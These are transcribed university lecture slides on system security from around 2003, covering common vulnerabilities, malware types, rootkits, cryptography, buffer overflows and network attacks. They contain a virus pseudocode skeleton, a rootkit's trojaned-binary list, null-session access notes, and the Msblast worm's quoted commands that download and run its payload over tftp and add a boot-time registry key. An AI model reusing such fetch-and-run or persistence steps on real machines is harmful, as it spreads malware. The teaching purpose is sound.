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  1. System Security Prabhaker Mateti Wright State University

  2. A Few Assessments …

  3. Top 20 Vulnerabilities/ NIPC+FBI+SANS(May 29, 2003) • W1 Internet Information Services (IIS) • W2 MDAC Remote Data Services • W3 Microsoft SQL Server • W4 NETBIOS -- Unprotected Networking Shares • W5 Anonymous Logon -- Null Sessions • W6 LAN Manager Authentication -- Weak LM Hashing • W7 No Passwords or Weak Passwords • W8 Internet Explorer • W9 Remote Registry Access • WA Windows Scripting Host Mateti/WrightStateU

  4. Top 20 Vulnerabilities/ NIPC+FBI+SANS(May 29, 2003) • U1 RPC Remote Procedure Calls • U2 Apache Web Server • U3 Secure Shell (SSH) • U4 SNMP • U5 File Transfer Protocol (FTP) • U6 R-Services -- Trust Relationships • U7 Line Printer Daemon (LPD) • U8 Sendmail • U9 BIND/DNS • UA No Passwords or Weak Passwords Mateti/WrightStateU

  5. Threats To The National Infrastructures (Defense Science Board) • Incomplete, inquisitive and unintentional blunders. • Hackers driven by technical challenges. • Disgruntled employees or customers seeking revenge. • Criminals interested in personal financial gain or stealing services. • Organized crime with the intent of hiding something or financial gain. • Organized terrorist groups attempting to influence U.S. policy by isolated attacks. • Foreign espionage agents seeking to exploit information for economic, political, or military purposes. • Tactical countermeasures intended to disrupt specific weapons or command structures. • Multifaceted tactical information warfare applied in a broad orchestrated manner to disrupt a major U.S. military mission. • Large organized groups or nation-states intent on overthrowing the United States. Mateti/WrightStateU

  6. Just the facts Madam

  7. Security Incidents / CERT • 76,404 Jan –June 2003 • 82,094 all of 2002 • “CERT uses the word "incident" as an administrative term that groups together any related set of activities; for example, activities in which the same tool or exploit is used by an intruder. A single "incident" can involve anything from a single host computer to a very large number of host computers, at a single site or at hundreds of thousands of sites.” Mateti/WrightStateU

  8. Number of Hosts in the DNS(isc.org Internet Domain Survey, Jan 2003) Jan 2003 171,638,297 Jul 2002 162,128,493 Jan 2002 147,344,723 Jul 2001 125,888,197 Jan 2001 109,574,429 Jul 2000 93,047,785 Jan 2000 72,398,092 Mateti/WrightStateU

  9. Mateti/WrightStateU

  10. Terms …

  11. “So you got r00ted.’’ • Your machine has been compromised. • root = administrator = super-user • An unauthorized user has obtained root privileges. • A rootkit may have been installed. • Forensic analyses made with tools existing on that system are unreliable. Mateti/WrightStateU

  12. Denial of Service (DoS) • We think of computer systems as providing services to authorized users. • When a system is deliberately made to crash, or made to run legitimate users' programs so very slowly that it is unusable, we refer to it as a "denial of service attack." • The attacker accomplishes this by running certain cleverly composed programs, and is pre-aware of the consequences.  Mateti/WrightStateU

  13. Black Hats v. White Hats • Black hats are the "bad" guys in that they use their knowledge to unauthorizedly break into even more systems, and pass their knowledge to other insiders. • White hats are the "good" guys: they are mostly into forensics and prevention of attacks.  Mateti/WrightStateU

  14. Vulnerability, … • Vulnerability: A weakness that can be exploited to cause damage. • Attack: A method of exploiting a vulnerability. • Threat: A motivated, capable adversary that mounts attacks. Mateti/WrightStateU

  15. Hacker v. Attacker v. Intruder • Hacker = One who programs enthusiastically, even obsessively. • An expert at a particular program, as in ‘a Unix hacker’. • A hacker enjoys exploring the details of programmable systems and how to stretch their capabilities. • A hacker has ethics. Mateti/WrightStateU

  16. Viruses • Viruses are "programs" that modify other programs on a computer, inserting copies of themselves.  • Viruses are not officiallyprograms: • They cannot run on their own. • Need to have some host program. • When the host program is run, the virus runs. Mateti/WrightStateU

  17. Structure of Viruses V() { infectExecutable(); if (triggered()) doDamage(); jump to main of infected program; } void infectExecutable() { file = chose an uninfected executable file; prepend V to file; } void doDamage() { ... } int triggered() { return (some test? 1 : 0); } Mateti/WrightStateU

  18. Worms • Worms are programs that propagate from computer to computer on a network. • Worms  can run independently. • Worms may have (different) portions of themselves running on many different machines. • Worms do not change other programs, although they may carry other code that does. Mateti/WrightStateU

  19. Trojans • A Trojan mimics the functionality of its namesake legitimate program. • But has a hidden “agenda.” • Ex: wu-ftpd Trojan - Login with specific user/password gives a root shell. Mateti/WrightStateU

  20. Backdoors • Also called trap doors. • Allow unauthorized access to a system. • The absence of backdoors cannot be established. Mateti/WrightStateU

  21. Malware • Viruses + Worms + Trojans + … • Any “program” that has a “malicious” intent … Mateti/WrightStateU

  22. System Security • “System Security” = Computer Security + Network Security + Internet Security • Trojan Horses, Viruses and Worms • Privacy and Authentication • TCP/IP exploits • Firewalls • Secure Configuration of Personal Machines • Buffer Overflow and Other Bug Exploitation • Writing Bug-free and Secure Software • Secure e-Commerce Transactions • … Mateti/WrightStateU

  23. Current practices, and their problems

  24. Improper Configuration • Out of the box installations are rarely properly configured. • Standard user accounts with standard passwords. • Running unneeded services. • Leaving sensitive files read/write-open. Mateti/WrightStateU

  25. Fortification • Start with a properly configured system. • Delete weak or unneeded components. • Add protective layers. • Keep detailed logs. Mateti/WrightStateU

  26. Hardened OS • Often “equated” with fortification. • Rebuilding an OS from the same source code but by using a more rigorous compiler. • Redesigning portions of an OS. • Statically v. dynamically configured. Mateti/WrightStateU

  27. Rootkits • “A rootkit is a collection of tools and utilities that attackers use to hide their presence and gather data to help them infiltrate further across the network. Rootkits insert backdoors, install Trojans, and patch existing programs.’’ • A rootkit may disable auditing when a certain user is logged on. • A rootkit could allow anyone to log in if a certain backdoor password is used. • A rootkit could patch the kernel itself, allowing anyone to run privileged code if they use a special filename • Installed after the attacker gains access. • Cannot be detected by firewalls or anti-virus scanners. • 203 results for search “rootkit’’ on www.packetstormsecurity.org Mateti/WrightStateU

  28. Rootkits • “Rootkit” was originally a Unix term, derived from the word “root”. • Unix rootkits typically replace system binaries with trojaned binaries. • The trojaned binaries hide the attacker activities Mateti/WrightStateU

  29. Windows Rootkit • A Windows rootkit typically replaces APIs, not binaries. • Any program that calls those replaced APIs is potentially affected. • The rootkit typically hides itself using the hacked Windows installation. • A typical Windows rootkit can hide files, folders, processes, services, and registry entries Mateti/WrightStateU

  30. Windows Rootkit Examples • null.sys • HE4Hook • Hacker Defender • Slanret • He4Hook • Vanquish • Fu • … Mateti/WrightStateU

  31. Null session • Unauthenticated connection • Empty username, empty password • “Null sessions can *always* be established to NT4, Windows 2000, and Windows XP machines. If the machine's server service is enabled, and ports 139 or 445 are available, then you can do a net use with anonymous credentials, and the system will respond with "Command completed successfully". This has not changed from NT4 to Win2K to XP.’’ -- FOCUS-MS@securityfocus.com Mateti/WrightStateU

  32. Linux Rootkit Examples • Linux Rootkit (LRK) • TeLeKit • Adore • Knark • t0rnkit • Kernel Intrusion System (KIS) • … Mateti/WrightStateU

  33. _ _ ____ _ _ _ _ ___ ___ ___| | (_)_ __ _ ___ __ | _ \ ___ ___ | |_| | _(_) |_ |_ _|_ _|_ _|| | | | '_ \| | | \ \/ / | |_) / _ \ / _ \| __| |/ / | __| | | | | | || |___| | | | | |_| |> < | _ < (_) | (_) | |_| <| | |_ | | | | | ||_____|_|_| |_|\__,_/_/\_\ |_| \_\___/ \___/ \__|_|\_\_|\__| |___|___|___| • chfn Trojaned! User->r00t • chsh Trojaned! User->r00t • inetd Trojaned! Remote access • login Trojaned! Remote access • ls Trojaned! Hide files • du Trojaned! Hide files • ifconfig Trojaned! Hide sniffing • netstat Trojaned! Hide connections • passwd Trojaned! User->r00t • ps Trojaned! Hide processes • top Trojaned! Hide processes • rshd Trojaned! Remote access • syslogd Trojaned! Hide logs • linsniffer Packet sniffer! • fix File fixer! • z2 Zap2 utmp/wtmp/lastlog eraser! • wted wtmp/utmp editor! • lled lastlog editor! • bindshell port/shell type daemon! • tcpd Trojaned! Hide connections, avoid denies Mateti/WrightStateU

  34. Msblast.exe(Aug 12, 2003) • The exploit code is derived from the well known dcom.c exploit. • Exploits the MS DCOM RPC vulnerability using TCP port 135. • Produces a remote command line shell. • Runs the following commands: • tftp -i x.x.x.x GET msblast.exe • start msblast.exe • msblast.exe • Creates the following registry key to run at boot: • HKLM\Software\Microsoft\Windows\CurrentVersion\Run\windows auto update = 'msblast.exe' • The worm will begin to scan the local class B subnet, and will also generate a random address to begin scanning at, then will sequentially scan from that point forward incrementing by host address, class c, class b and class a. It can scan hosts at a rate of 20 per second. • The worm contains the following text, which does not get displayed: • “I just want to say LOVE YOU SAN!! billy gates why do you make this possible ? Stop making money and fix your software!!” Mateti/WrightStateU

  35. Booting Up • BIOS • OS Kernel • Initialization • User logins Mateti/WrightStateU

  36. boot.ini [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(9)\WINDOWS [operating systems] C:\bootsect\hdc3grub.bin="Booting From FAT32on120GB" multi(0)disk(0)rdisk(0)partition(3)\WINDOWS="Windows XP Pro r0 p3" /fastdetect multi(0)disk(0)rdisk(0)partition(9)\WINDOWS="Windows XP Pro r0 p9" /fastdetect multi(0)disk(0)rdisk(0)partition(14)\WINDOWS="Windows XP Pro r0 p14" /fastdetect C:\bootsect\hdc3grub.bin="Linux via Grub" Mateti/WrightStateU

  37. /boot/grub/menu.lst timeout 10 default 1 title failsafe kernel (hd0,6)/boot/vmlinuz root=/dev/hda7 failsafe devfs=nomount hdc=ide-scsi acpi=off initrd (hd0,6)/boot/initrd.img title linux-smp kernel (hd0,6)/boot/vmlinuz-smp root=/dev/hda7 devfs=mount hdc=ide-scsi acpi=off initrd (hd0,6)/boot/initrd-smp.img title windows root (hd0,0) chainloader +1 Mateti/WrightStateU

  38. Human User Authentication • Something you know • (e.g., a password or other secret); • Something you have • (e.g., smart card, credit card); • Something you are • (e.g., fingerprints, retinal scan, voice print). Mateti/WrightStateU

  39. Passwords • Weak passwords; social engineering. • telnet, ftp, … passwords travel the network in the clear; can be sniffed. • One Time Passwords Mateti/WrightStateU

  40. Cryptography • "Computationally Infeasible” • N = 2^a * 3^b * 5^c * 7^d * ... • One way hash function • takes a variable-length input sequence of bytes and converts it into a fixed-length sequence. • designed to be computationally infeasible to reverse the process Mateti/WrightStateU

  41. Symmetric Keys • sender and receiver of a message share a single, common key. • If ct = encryption (pt, key), then pt = decryption (ct, key). • DES • IDEA • Blowfish Mateti/WrightStateU

  42. Public and Private Keys • a public key known to everyone, and a private or secret key known only to the recipient of the message • The two keys are mathematically related, yet it is computationally infeasible to deduce one from the other. • A global registry of public keys is needed • RSA Mateti/WrightStateU

  43. Man-in-the-Middle Attack • The public key-based communication between say Alice and Bob is vulnerable. • Let us assume that Mallory, a cracker, not only can listen to the traffic between Alice and Bob, but also can modify, delete, and substitute Alice's and Bob's messages, as well as introduce new ones.  Mallory can impersonate Alice when talking to Bob and impersonate Bob when talking to Alice. Here is how the attack works. • Bob sends Alice his public key. Mallory intercepts the key and sends her own public key to Alice. • Alice generates a random session key, encrypts it with "Bob’s" public key (which is really Mallory's), and sends it to Bob. • Mallory intercepts the message. He decrypts the session key with his private key, encrypts it with Bob's public key, and sends it to Bob. • Bob receives the message thinking it came from Alice. He decrypts it with his private key and obtains the session key. • Alice and Bob start exchanging messages using the session key. Mallory, who also has that key, can now decipher the entire conversation. Mateti/WrightStateU

  44. Buffer Overflow “Quick: What's the computer vulnerability of the decade?  It's not the Y2K bug, according to computer science and security analysts, but a security weakness known as the buffer overflow .” • Executable code is injected on to the runtime stack. • The return address that was on the stack is modified to point to the beginning of this code. • The executable code chosen produces a shell. • A root-privileged program is so exploited; so, you are r00ted. Mateti/WrightStateU

  45. Buffer Overflow • Many of the Top 20 vulnerabilities are buffer overflow problems. • Caused by a simple class of programming errors. • C and its promiscuous style. Mateti/WrightStateU

  46. Network Security Mateti/WrightStateU

  47. Security of the Connection • Least secure: Wireless networking • Second least secure: Always-on wired connections • Second most secure: Intermittent wired connections (dial-up) • Most secure: Never connected. Mateti/WrightStateU

  48. TCP/IP Design Problems • Designed with too little concern for security. • All data, including various fields in the protocol headers, are sent in the clear. • Sender and Receiver in the packet can be spoofed. Mateti/WrightStateU

  49. IP4 Spoofing • IP address: a.b.c.d, 4-bytes. • IP packet contains the IP addresses of sender and receiver. • Everything in the clear. • IP spoofing replaces the IP address of (usually) the sender or (in rare cases) the destination with a different address. • Services that authenticate based on the IP addresses are vulnerable.  • RPC,  NFS, r-commands (rlogin, rsh, rcp, etc.), X windows, … Mateti/WrightStateU

  50. IP Fragment Attacks • When packets are too large to be sent in a single IP packet, due to interface hardware limitations for example, they can be split up by an intermediate router. • The final destination will reassemble all the fragments of an IP packet. • Attackers create artificially fragmented packets in order to circumvent firewalls that do not perform packet reassembly.  • In the IP layer implementations of nearly all OS, there are bugs in the reassembly code. • Attackers create fragments that trigger these bugs. Mateti/WrightStateU